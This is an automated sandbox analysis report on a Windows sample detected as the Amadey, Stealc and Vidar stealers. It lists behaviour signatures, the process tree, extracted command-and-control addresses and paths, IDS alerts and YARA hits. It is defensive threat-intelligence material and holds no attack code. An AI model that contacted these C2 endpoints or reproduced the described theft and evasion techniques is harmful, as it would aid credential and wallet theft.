Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1559790
MD5:	61acee13f680dd57a06b13d1cc04cfcc
SHA1:	11415b4452ac82299c47e10e981e8728a57d891e
SHA256:	5d7b7a5d6a3c291e33347301f3b116a375f9709a3f4ea5c3ec35eacaae59ca1d
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Entry point lies outside standard sections

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Sigma detected: Use Short Name Path in Command Line

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7740 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 61ACEE13F680DD57A06B13D1CC04CFCC)

chrome.exe (PID: 8068 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7468 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2296 --field-trial-handle=2224,i,15428073326921430912,4792700764699708340,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 7024 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 3876 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2308 --field-trial-handle=2188,i,8283749054754101398,9414593298289081245,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 8904 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsFHJKKECFIE.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8940 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsFHJKKECFIE.exe (PID: 8860 cmdline: "C:\Users\user\DocumentsFHJKKECFIE.exe" MD5: EFA562638C762CA57F68C4E25E85718B)

skotes.exe (PID: 6192 cmdline: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: EFA562638C762CA57F68C4E25E85718B)

msedge.exe (PID: 5144 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 5196 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2796 --field-trial-handle=2460,i,9054009632194455587,10742817590129212962,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8520 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6672 --field-trial-handle=2460,i,9054009632194455587,10742817590129212962,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8544 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6884 --field-trial-handle=2460,i,9054009632194455587,10742817590129212962,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7008 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6880 --field-trial-handle=2460,i,9054009632194455587,10742817590129212962,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 2548 cmdline: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: EFA562638C762CA57F68C4E25E85718B)

skotes.exe (PID: 5688 cmdline: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: EFA562638C762CA57F68C4E25E85718B)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000001A.00000003.2379642597.00000000050D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001A.00000002.2600266215.0000000000101000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000015.00000002.1943174621.0000000000101000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.1872805672.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000015.00000003.1902794035.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1375832690.0000000004CB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000016.00000003.1911996881.00000000048D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000016.00000002.1957572656.0000000000101000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.1873172118.0000000000D51000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000014.00000003.1865089955.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.1872805672.0000000000940000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000014.00000002.1905571149.00000000005F1000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 7740	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 7740	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7740	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7740	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 11 entries

Unpacked PEs

Source	Rule	Description	Author
22.2.skotes.exe.100000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
26.2.skotes.exe.100000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
21.2.skotes.exe.100000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
20.2.DocumentsFHJKKECFIE.exe.5f0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 7740, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 8068, ProcessName: chrome.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" , CommandLine: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" , CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ParentCommandLine: "C:\Users\user\DocumentsFHJKKECFIE.exe" , ParentImage: C:\Users\user\DocumentsFHJKKECFIE.exe, ParentProcessId: 8860, ParentProcessName: DocumentsFHJKKECFIE.exe, ProcessCommandLine: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" , ProcessId: 6192, ProcessName: skotes.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T23:12:24.650719+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.7	49710	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T23:12:24.530030+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.7	49710	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T23:12:24.984949+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.7	49710	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T23:12:26.842468+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.7	49710	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T23:12:25.111487+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.7	49710	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T23:12:24.074631+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	49710	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T23:14:05.127102+0100	2856147	1	A Network Trojan was detected	192.168.2.7	50083	185.215.113.43	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T23:12:27.577036+0100	2803304	3	Unknown Traffic	192.168.2.7	49710	185.215.113.206	80	TCP
2024-11-20T23:12:49.519611+0100	2803304	3	Unknown Traffic	192.168.2.7	49799	185.215.113.206	80	TCP
2024-11-20T23:12:51.575349+0100	2803304	3	Unknown Traffic	192.168.2.7	49799	185.215.113.206	80	TCP
2024-11-20T23:12:52.961411+0100	2803304	3	Unknown Traffic	192.168.2.7	49799	185.215.113.206	80	TCP
2024-11-20T23:12:54.270012+0100	2803304	3	Unknown Traffic	192.168.2.7	49799	185.215.113.206	80	TCP
2024-11-20T23:12:58.180949+0100	2803304	3	Unknown Traffic	192.168.2.7	49799	185.215.113.206	80	TCP
2024-11-20T23:12:59.319720+0100	2803304	3	Unknown Traffic	192.168.2.7	49799	185.215.113.206	80	TCP
2024-11-20T23:13:05.201403+0100	2803304	3	Unknown Traffic	192.168.2.7	49932	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/68b591d6548ec281/msvcp140.dllz	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll$	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php3jf	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpk3	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpQ	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpZo	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/msvcp140.dllk	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000015.00000002.1943174621.0000000000101000.00000040.00000001.01000000.0000000E.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: file.exe.7740.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	ReversingLabs: Detection: 50%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEAA9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6CEAA9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEA44C0 PK11_PubEncrypt,	0_2_6CEA44C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEA4440 PK11_PrivDecrypt,	0_2_6CEA4440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE74420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6CE74420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEF25B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6CEF25B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE8E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	0_2_6CE8E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE88670 PK11_ExportEncryptedPrivKeyInfo,	0_2_6CE88670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEAA650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	0_2_6CEAA650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CECA730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	0_2_6CECA730
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CED0180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	0_2_6CED0180
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEA43B0 PK11_PubEncryptPKCS1,PR_SetError,	0_2_6CEA43B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEC7C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	0_2_6CEC7C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE87D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	0_2_6CE87D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CECBD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	0_2_6CECBD30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEC9EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	0_2_6CEC9EC0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.7:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.7:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.7:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.181.5:443 -> 192.168.2.7:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.181.5:443 -> 192.168.2.7:49843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.7:49970 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.1920673438.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.1920673438.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:49710 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.7:49710 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.7:49710
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.7:49710 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.7:49710
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.7:49710 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.7:50083 -> 185.215.113.43:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

